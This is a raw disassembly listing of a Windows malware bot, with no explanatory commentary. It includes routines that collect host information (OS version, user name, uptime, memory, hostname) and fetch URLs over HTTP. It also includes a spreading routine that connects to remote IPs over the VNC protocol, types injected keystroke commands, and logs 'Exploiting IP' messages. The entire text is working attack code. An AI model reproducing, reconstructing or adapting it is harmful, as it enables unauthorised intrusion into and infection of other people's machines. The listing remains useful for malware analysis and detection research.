push offset dword_43A990
push eax
call sub_41C266
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_26C]
push eax
call sub_415D38
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41ABFB endp
; =============== S U B R O U T I N E =======================================
sub_41ADD8 proc near ; CODE XREF: sub_401ACD+257Bp
; sub_401ACD+29CDp ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call ds:dword_4270B0 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_4DBC90
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_41C360
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41ADD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE41 proc near ; CODE XREF: sub_4172C1+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
call ds:dword_4270D0 ; GetVersionExA
test eax, eax
jz short loc_41AED4
cmp [ebp+var_90], 4
jnz short loc_41AEAA
cmp [ebp+var_8C], esi
jnz short loc_41AE92
cmp [ebp+var_84], 1
jnz short loc_41AE85
push 1
pop esi
loc_41AE85: ; CODE XREF: sub_41AE41+3Fj
cmp [ebp+var_84], 2
jnz short loc_41AED4
push 1
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AE92: ; CODE XREF: sub_41AE41+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41AE9F
loc_41AE9B: ; CODE XREF: sub_41AE41+78j
push 2
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AE9F: ; CODE XREF: sub_41AE41+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_41AED4
jmp short loc_41AEC4
; ---------------------------------------------------------------------------
loc_41AEAA: ; CODE XREF: sub_41AE41+2Ej
cmp [ebp+var_90], 5
jnz short loc_41AED4
cmp [ebp+var_8C], esi
jz short loc_41AE9B
cmp [ebp+var_8C], 1
jnz short loc_41AEC8
loc_41AEC4: ; CODE XREF: sub_41AE41+67j
push 3
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AEC8: ; CODE XREF: sub_41AE41+81j
cmp [ebp+var_8C], 2
jnz short loc_41AED4
push 7
loc_41AED3: ; CODE XREF: sub_41AE41+4Fj
; sub_41AE41+5Cj ...
pop esi
loc_41AED4: ; CODE XREF: sub_41AE41+25j
; sub_41AE41+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_41AE41 endp
; =============== S U B R O U T I N E =======================================
sub_41AED9 proc near ; CODE XREF: sub_41AF8F+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41AEE1: ; CODE XREF: sub_41AED9+2Fj
; sub_41AED9+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
call ds:dword_427080 ; Sleep
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_41DCB0
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41AEE1
jb short loc_41AF10
cmp ebx, esi
ja short loc_41AEE1
loc_41AF10: ; CODE XREF: sub_41AED9+31j
push 0
push 64h
push edi
push ebx
call sub_41DD20
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41AF83
jb short loc_41AF2F
cmp esi, 50h
jnb short loc_41AF34
loc_41AF2F: ; CODE XREF: sub_41AED9+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41AF34: ; CODE XREF: sub_41AED9+54j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF3F
cmp esi, 47h
jnb short loc_41AF44
loc_41AF3F: ; CODE XREF: sub_41AED9+5Fj
push 42h
xor edx, edx
pop eax
loc_41AF44: ; CODE XREF: sub_41AED9+64j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF4F
cmp esi, 37h
jnb short loc_41AF54
loc_41AF4F: ; CODE XREF: sub_41AED9+6Fj
push 32h
xor edx, edx
pop eax
loc_41AF54: ; CODE XREF: sub_41AED9+74j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF5F
cmp esi, 26h
jnb short loc_41AF64
loc_41AF5F: ; CODE XREF: sub_41AED9+7Fj
push 21h
xor edx, edx
pop eax
loc_41AF64: ; CODE XREF: sub_41AED9+84j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF6F
cmp esi, 1Eh
jnb short loc_41AF74
loc_41AF6F: ; CODE XREF: sub_41AED9+8Fj
push 19h
xor edx, edx
pop eax
loc_41AF74: ; CODE XREF: sub_41AED9+94j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF7F
cmp esi, 0Ah
jnb short loc_41AF83
loc_41AF7F: ; CODE XREF: sub_41AED9+9Fj
xor eax, eax
xor edx, edx
loc_41AF83: ; CODE XREF: sub_41AED9+4Dj
; sub_41AED9+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_41AED9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AF8F proc near ; CODE XREF: sub_401ACD+2728p
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_43DB88
mov [ebp+var_CC], 94h
call ds:dword_4270D0 ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41B016
cmp [ebp+var_C4], ebx
jnz short loc_41AFF2
cmp [ebp+var_BC], 1
jnz short loc_41AFDC
mov [ebp+var_4], offset a95 ; "95"
loc_41AFDC: ; CODE XREF: sub_41AF8F+44j
cmp [ebp+var_BC], 2
jnz loc_41B091
mov [ebp+var_4], offset aNt_0 ; "NT"
jmp short loc_41B062
; ---------------------------------------------------------------------------
loc_41AFF2: ; CODE XREF: sub_41AF8F+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41B004
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B004: ; CODE XREF: sub_41AF8F+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41B052
mov [ebp+var_4], offset aMe_0 ; "ME"
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B016: ; CODE XREF: sub_41AF8F+33j
cmp [ebp+var_C8], 5
jnz short loc_41B052
cmp [ebp+var_C4], ebx
jnz short loc_41B030
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B030: ; CODE XREF: sub_41AF8F+96j
cmp [ebp+var_C4], 1
jnz short loc_41B042
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B042: ; CODE XREF: sub_41AF8F+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41B059
loc_41B052: ; CODE XREF: sub_41AF8F+7Cj
; sub_41AF8F+8Ej
mov [ebp+var_4], offset a??? ; "???"
loc_41B059: ; CODE XREF: sub_41AF8F+73j
; sub_41AF8F+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41B091
loc_41B062: ; CODE XREF: sub_41AF8F+61j
cmp [ebp+var_B8], bl
jz short loc_41B091
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset aSS_5 ; "%s (%s)"
push eax
call sub_41C266
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_41B091: ; CODE XREF: sub_41AF8F+54j
; sub_41AF8F+D1j ...
mov ax, word_4383AC
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4CB8B4
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_41B0CA
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_41B0CA: ; CODE XREF: sub_41AF8F+12Cj
push [ebp+arg_4]
call sub_40AA06
pop ecx
push eax
call dword_4CBA14 ; inet_addr
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CB98C ; gethostbyaddr
cmp eax, ebx
jz short loc_41B0F3
push dword ptr [eax]
jmp short loc_41B0F8
; ---------------------------------------------------------------------------
loc_41B0F3: ; CODE XREF: sub_41AF8F+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41B0F8: ; CODE XREF: sub_41AF8F+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call ds:dword_42707C ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call ds:dword_427110 ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call ds:dword_42710C ; GetTimeFormatA
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call ds:dword_42719C ; GlobalMemoryStatus
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41C3B1
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_416DD9
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41ADD8
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
call sub_41AED9
push edx
push eax
push offset dword_43AB9C
push 200h
push [ebp+arg_0]
call sub_41C360
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41AF8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B243 proc near ; CODE XREF: sub_401ACD+2756p
; sub_401ACD+71F5p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41BF70
add esp, 0Ch
cmp dword_4CBABC, 0
jnz short loc_41B2AF
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4CB898 ; InternetGetConnectedStateEx
test eax, eax
jnz short loc_41B298
lea eax, [ebp+var_8C]
push offset aNotConnected ; "Not connected"
push eax
call sub_41C266
pop ecx
pop ecx
loc_41B298: ; CODE XREF: sub_41B243+40j
test [ebp+var_C], 1
jz short loc_41B2A5
push offset aDialUp ; "Dial-up"
jmp short loc_41B2AA
; ---------------------------------------------------------------------------
loc_41B2A5: ; CODE XREF: sub_41B243+59j
push offset off_43ACE4
loc_41B2AA: ; CODE XREF: sub_41B243+60j
lea eax, [ebp+var_8]
jmp short loc_41B2C7
; ---------------------------------------------------------------------------
loc_41B2AF: ; CODE XREF: sub_41B243+28j
mov esi, offset off_43ACE0
lea eax, [ebp+var_8]
push esi
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_8C]
pop ecx
push esi
loc_41B2C7: ; CODE XREF: sub_41B243+6Aj
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_43AC9C
push 200h
push [ebp+arg_0]
call sub_41C360
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41B243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B302 proc near ; DATA XREF: sub_401ACD+757Fo
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_43ADD0
call sub_41BF70
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_41BF70
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_41BF70
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_41BF70
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_41BF70
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_4CB8D0 ; InternetCrackUrlA
test eax, eax
jz loc_41B49C
cmp [ebp+var_34], ebx
jbe short loc_41B3D9
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B3D9: ; CODE XREF: sub_41B302+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41B3F7
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B3F7: ; CODE XREF: sub_41B302+DEj
cmp [ebp+var_20], ebx
jbe short loc_41B411
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B411: ; CODE XREF: sub_41B302+F8j
cmp [ebp+var_18], ebx
jbe short loc_41B42B
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B42B: ; CODE XREF: sub_41B302+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_4CB984
call dword_4CB9A8 ; InternetConnectA
mov esi, eax
cmp esi, ebx
jz short loc_41B4B4
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4CB99C ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41B4BB
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4CB948 ; HttpSendRequestA
test eax, eax
jz short loc_41B495
push offset dword_43ADB4
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B495: ; CODE XREF: sub_41B302+18Aj
push offset unk_43AD78
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B49C: ; CODE XREF: sub_41B302+B7j
lea eax, [ebp+var_55C]
push offset dword_43AD5C
push eax
call sub_41C266
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_41B4CE
; ---------------------------------------------------------------------------
loc_41B4B4: ; CODE XREF: sub_41B302+153j
push offset unk_43AD30
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B4BB: ; CODE XREF: sub_41B302+17Bj
push offset unk_43AD00
loc_41B4C0: ; CODE XREF: sub_41B302+191j
; sub_41B302+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41B4CE: ; CODE XREF: sub_41B302+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_41B4F9
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_409869
add esp, 14h
loc_41B4F9: ; CODE XREF: sub_41B302+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_415D38
pop ecx
push esi
call dword_4CBA08 ; InternetCloseHandle
push [ebp+var_4]
call dword_4CBA08 ; InternetCloseHandle
push [ebp+var_1D8]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_41B302 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41B52C proc near ; CODE XREF: sub_401ACD+4F59p
arg_0 = dword ptr 4
push esi
push 100h
mov esi, offset byte_4DBCCC
push 0
push esi
call sub_41BF70
add esp, 0Ch
push [esp+4+arg_0]
push offset aS_8 ; "%s"
push 0FFh
push esi
call sub_41C360
add esp, 10h
pop esi
retn
sub_41B52C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B55B proc near ; CODE XREF: .text:0041B843p
; .text:0041B860p ...
var_14 = byte ptr -14h
var_C = byte ptr -0Ch
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
push edi
mov esi, offset dword_4DBDD4
lea edi, [ebp+var_C]
mov ax, word_43ADD4
movsd
movsb
mov esi, offset dword_4DBDCC
lea edi, [ebp+var_14]
mov [ebp+var_2], ax
mov ax, word_4346DC
movsd
mov [ebp+var_6], ax
mov ax, word_4CB88C
movsw
mov [ebp+var_4], ax
mov eax, [ebp+arg_8]
xor esi, esi
cmp eax, esi
jnz loc_41B627
mov edi, [ebp+arg_0]
push ebx
mov ebx, [ebp+arg_4]
mov [ebp+arg_8], esi
loc_41B5AD: ; CODE XREF: sub_41B55B+C7j
mov eax, [ebp+arg_8]
sub eax, esi
jz short loc_41B5CD
dec eax
jnz short loc_41B61B
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24 ; send
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41B5E1
; ---------------------------------------------------------------------------
loc_41B5CD: ; CODE XREF: sub_41B55B+57j
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24 ; send
push esi
push 1
lea eax, [ebp+var_6]
loc_41B5E1: ; CODE XREF: sub_41B55B+70j
push eax
push edi
call dword_4CBA24 ; send
push ebx
call sub_41B9C0
pop ecx
cmp eax, 2
push esi
jnz short loc_41B5FD
push 4
lea eax, [ebp+var_C]
jmp short loc_41B602
; ---------------------------------------------------------------------------
loc_41B5FD: ; CODE XREF: sub_41B55B+99j
push 5
lea eax, [ebp+var_14]
loc_41B602: ; CODE XREF: sub_41B55B+A0j
push eax
push edi
call dword_4CBA24 ; send
push esi
push ebx
call sub_41B9C0
pop ecx
push eax
push ebx
push edi
call dword_4CBA24 ; send
loc_41B61B: ; CODE XREF: sub_41B55B+5Aj
inc [ebp+arg_8]
cmp [ebp+arg_8], 1
jle short loc_41B5AD
pop ebx
jmp short loc_41B69D
; ---------------------------------------------------------------------------
loc_41B627: ; CODE XREF: sub_41B55B+42j
dec eax
jz short loc_41B646
dec eax
jnz short loc_41B69D
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24 ; send
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41B65D
; ---------------------------------------------------------------------------
loc_41B646: ; CODE XREF: sub_41B55B+CDj
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24 ; send
push esi
push 1
lea eax, [ebp+var_6]
loc_41B65D: ; CODE XREF: sub_41B55B+E9j
push eax
push edi
call dword_4CBA24 ; send
push [ebp+arg_4]
call sub_41B9C0
pop ecx
cmp eax, 2
push esi
jnz short loc_41B67B
push 4
lea eax, [ebp+var_C]
jmp short loc_41B680
; ---------------------------------------------------------------------------
loc_41B67B: ; CODE XREF: sub_41B55B+117j
push 5
lea eax, [ebp+var_14]
loc_41B680: ; CODE XREF: sub_41B55B+11Ej
push eax
push edi
call dword_4CBA24 ; send
push esi
push [ebp+arg_4]
call sub_41B9C0
pop ecx
push eax
push [ebp+arg_4]
push edi
call dword_4CBA24 ; send
loc_41B69D: ; CODE XREF: sub_41B55B+CAj
; sub_41B55B+D0j
pop edi
pop esi
leave
retn
sub_41B55B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 288h
push ebx
push esi
push edi
mov esi, offset aRfb003_008 ; "RFB 003.008\n"
lea edi, [ebp-38h]
mov ax, word_4346DC
movsd
movsd
movsd
movsb
mov esi, offset dword_43ADE8
lea edi, [ebp-1Ch]
movsw
movsb
mov esi, offset dword_4DBDD4
lea edi, [ebp-28h]
movsd
movsb
mov esi, offset dword_43ADE4
lea edi, [ebp-10h]
movsw
movsb
mov esi, offset dword_43ADE0
lea edi, [ebp-14h]
movsw
movsb
mov esi, offset dword_43ADDC
lea edi, [ebp-0Ch]
movsw
movsb
xor esi, esi
mov [ebp-6], ax
mov [ebp-16h], ax
mov ax, word ptr aR ; "r"
push esi
push 1
push 2
mov [ebp-18h], ax
xor edi, edi
call dword_4CBA54 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41B724
push eax
call dword_4CBA6C ; closesocket
loc_41B724: ; CODE XREF: .text:0041B71Bj
lea eax, [ebp+0Ch]
mov word ptr [ebp-48h], 2
push eax
call dword_4CBA14 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-44h], eax
call dword_4CB9D4 ; htons
mov [ebp-46h], ax
lea eax, [ebp-48h]
push 10h
push eax
push ebx
call dword_4CB97C ; connect
test eax, eax
jnz loc_41B820
loc_41B75C: ; CODE XREF: .text:0041B7CEj
; .text:0041B805j
push 40h
lea eax, [ebp-88h]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp-88h]
push esi
push 40h
push eax
push ebx
call dword_4CB9EC ; recv
cmp eax, esi
jle loc_41B82E
cmp eax, 0FFFFFFFFh
jz loc_41B82E
mov eax, edi
sub eax, esi
jz short loc_41B7D0
dec eax
jz short loc_41B79E
dec eax
jz short loc_41B80A
jmp short loc_41B800
; ---------------------------------------------------------------------------
loc_41B79E: ; CODE XREF: .text:0041B797j
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-88h]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_41B820
lea eax, [ebp-6]
push esi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp-6]
push eax
push ebx
call dword_4CBA24 ; send
push 2
pop edi
jmp short loc_41B75C
; ---------------------------------------------------------------------------
loc_41B7D0: ; CODE XREF: .text:0041B794j
lea eax, [ebp-38h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_41B820
lea eax, [ebp-38h]
push esi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp-38h]
push eax
push ebx
call dword_4CBA24 ; send
push 1
pop edi
loc_41B800: ; CODE XREF: .text:0041B79Cj
cmp edi, 3
jz short loc_41B82E
jmp loc_41B75C
; ---------------------------------------------------------------------------
loc_41B80A: ; CODE XREF: .text:0041B79Aj
lea eax, [ebp-28h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_41B82E
loc_41B820: ; CODE XREF: .text:0041B756j
; .text:0041B7B2j ...
push ebx
call dword_4CBA6C ; closesocket
xor eax, eax
jmp loc_41B9B7
; ---------------------------------------------------------------------------
loc_41B82E: ; CODE XREF: .text:0041B781j
; .text:0041B78Aj ...
push esi
lea eax, [ebp-16h]
push 1
push eax
push ebx
call dword_4CBA24 ; send
lea eax, [ebp-10h]
push 1
push eax
push ebx
call sub_41B55B
mov esi, ds:dword_427080
add esp, 0Ch
mov edi, 3E8h
push edi
call esi ; Sleep
lea eax, [ebp-18h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi ; Sleep
lea eax, [ebp-10h]
push 2
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi ; Sleep
and dword ptr [ebp-4], 0
mov edi, offset byte_4DBCCC
push edi
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_41B8CE
loc_41B891: ; CODE XREF: .text:0041B8CCj
mov eax, [ebp-4]
movsx eax, byte_4DBCCC[eax]
push eax
push offset dword_43ADD8
lea eax, [ebp-20h]
push 3
push eax
call sub_41C360
lea eax, [ebp-20h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 1Ch
push 7Dh
call esi ; Sleep
inc dword ptr [ebp-4]
push edi
call sub_41B9C0
cmp [ebp-4], eax
pop ecx
jb short loc_41B891
loc_41B8CE: ; CODE XREF: .text:0041B88Fj
lea eax, [ebp-0Ch]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 0FA0h
call esi ; Sleep
push 2
pop edi
loc_41B8E7: ; CODE XREF: .text:0041B8FEj
lea eax, [ebp-14h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 12Ch
call esi ; Sleep
dec edi
jnz short loc_41B8E7
mov edi, 7D0h
push edi
call esi ; Sleep
lea eax, [ebp-0Ch]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi ; Sleep
xor edi, edi
lea eax, [ebp-14h]
push edi
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 190h
call esi ; Sleep
mov dword ptr [ebp-4], 2
loc_41B938: ; CODE XREF: .text:0041B950j
push 258h
call esi ; Sleep
lea eax, [ebp-0Ch]
push edi
push eax
push ebx
call sub_41B55B
add esp, 0Ch
dec dword ptr [ebp-4]
jnz short loc_41B938
push ebx
call dword_4CBA6C ; closesocket
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
lea eax, [ebp-288h]
push 1FFh
push eax
call sub_41C360
push edi
lea eax, [ebp-288h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
mov eax, [ebp+0B0h]
add esp, 28h
shl eax, 6
inc dword_431800[eax]
push 1
lea eax, dword_431800[eax]
pop eax
loc_41B9B7: ; CODE XREF: .text:0041B829j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B9C0 proc near ; CODE XREF: sub_401000+34p
; sub_401221+14Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41B9E0
loc_41B9CC: ; CODE XREF: sub_41B9C0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41BA13
test ecx, 3
jnz short loc_41B9CC
